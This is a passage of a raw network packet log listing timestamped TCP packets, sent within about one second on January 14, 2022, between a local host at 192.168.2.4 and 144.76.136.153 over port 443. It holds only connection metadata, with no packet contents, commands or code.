Jan 14, 2022 09:25:56.741955996 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:56.741988897 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:56.796891928 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:56.796996117 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:56.798553944 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:56.798562050 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:56.799086094 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:56.800508976 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:56.841887951 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.309401989 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.309456110 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.309494019 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.309541941 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.309572935 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.309593916 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.309640884 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.309659004 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.309680939 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.309705973 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.309721947 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.309736967 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.309750080 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.309833050 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.309859991 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.334741116 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.334785938 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.334875107 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.334893942 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.334950924 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.335416079 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.335479021 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.335520983 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.335592985 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.335608959 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.335648060 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.335660934 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.336026907 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.336065054 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.336107969 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.336126089 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.336139917 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.336184025 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.357552052 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.357605934 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.357673883 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.357707977 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.357727051 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.357778072 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.357788086 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.357814074 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.357856989 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.357876062 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.357893944 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.357903004 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.357964039 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.357971907 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.358524084 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.358562946 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.358624935 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.358639002 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.358664036 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.358699083 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.358968019 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.359005928 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.359062910 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.359076023 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.359107971 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.359144926 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.359361887 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.359402895 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.359467983 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.359483004 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.359505892 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.359532118 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.359798908 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.359833956 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.359885931 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.359900951 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.359925985 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.359961033 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.379906893 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.379961967 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.380023003 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.380040884 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.380057096 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.380793095 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.381648064 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.381689072 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.381740093 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.381756067 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.381773949 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.382087946 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.382092953 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.382119894 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.382252932 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.382283926 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.382323980 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.382335901 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.382348061 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.382451057 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.382776022 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.382812977 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.382850885 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.382869005 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.382889032 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.382916927 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.383188963 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.383228064 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.383275032 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.383289099 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.383310080 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.383335114 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.383791924 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.383832932 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.383888960 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.383904934 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.383927107 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.383995056 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.384211063 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.384213924 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.384251118 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.384294033 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.384308100 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.384330034 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.384583950 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.384644985 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.384684086 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.384731054 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.384746075 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.384763002 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.384843111 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.385060072 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.385096073 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.385134935 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.385154963 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.385168076 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.385211945 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.385462046 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.385513067 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.385556936 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.385575056 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.385587931 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.385628939 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.385914087 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.385951042 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.385987997 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.386002064 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.386018038 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.386055946 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.386306047 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.386342049 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.386384964 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.386399031 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.386415958 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.386459112 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.386707067 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.403244972 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.403297901 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.403448105 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.403479099 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.403492928 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.403541088 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.405575037 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.405623913 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.405641079 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.405675888 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.405689001 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.405761003 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.405793905 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.405798912 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.405821085 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.405823946 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.405865908 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.405900002 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.406029940 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.406069040 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.406101942 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.406121016 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.406135082 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.406162977 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.409765005 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.409816027 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.409871101 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.409893990 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.409908056 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.410001993 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.410039902 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.410063982 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.410078049 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.410094023 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.410135984 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.410382032 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.410423040 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.410449028 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.410466909 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.410481930 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.410516977 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.410715103 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.410753965 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.410793066 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.410806894 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.410823107 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.410851002 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.411098957 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.411134958 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.411173105 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.411186934 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.411202908 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.411226988 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.411427021 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.411464930 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.411504984 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.411520004 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.411535978 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.411577940 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.411847115 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.411887884 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.411925077 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.411938906 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.411956072 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.411981106 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.412231922 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.412269115 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.412350893 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.412369013 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.412381887 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.412626982 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.412674904 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.412719011 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.412731886 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.412748098 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.413007975 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.413043022 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.413079977 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.413098097 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.413116932 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.413153887 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.413435936 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.413475990 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.413516045 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.413530111 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.413547039 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.413810968 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.413870096 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.413882017 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.413897991 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.413933992 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.413971901 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.414166927 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.414233923 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.414242029 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.414273977 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.414310932 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.414323092 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.449532986 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.449590921 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.449640989 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.449662924 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.449677944 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.449791908 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.449827909 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.449865103 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.449882030 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.449907064 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.449945927 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.450576067 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.450614929 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.450668097 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.450683117 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.450699091 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.450757027 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.450790882 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.450839996 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.450859070 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.450872898 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.450931072 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.450965881 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451014042 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451028109 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451045036 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451100111 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451133966 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451185942 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451201916 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451219082 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451256037 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451260090 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451278925 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451303959 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451328993 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451345921 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451356888 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451369047 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451422930 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451431990 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451452971 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451508999 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451528072 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451548100 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451560974 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451586962 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451596975 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451622963 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451639891 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451657057 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451670885 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451694965 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451729059 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451738119 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451756954 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451803923 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451822996 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451838970 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451848984 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451879978 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451927900 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451931000 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451937914 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451942921 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.451952934 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.451992989 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.452065945 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452100992 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452136040 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.452158928 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452173948 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.452208996 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.452215910 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452235937 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452285051 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452289104 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.452316999 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452358007 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452394962 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452466965 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.452482939 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452500105 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.452511072 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452548981 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.452577114 CET	49888	443	192.168.2.4	144.76.136.153
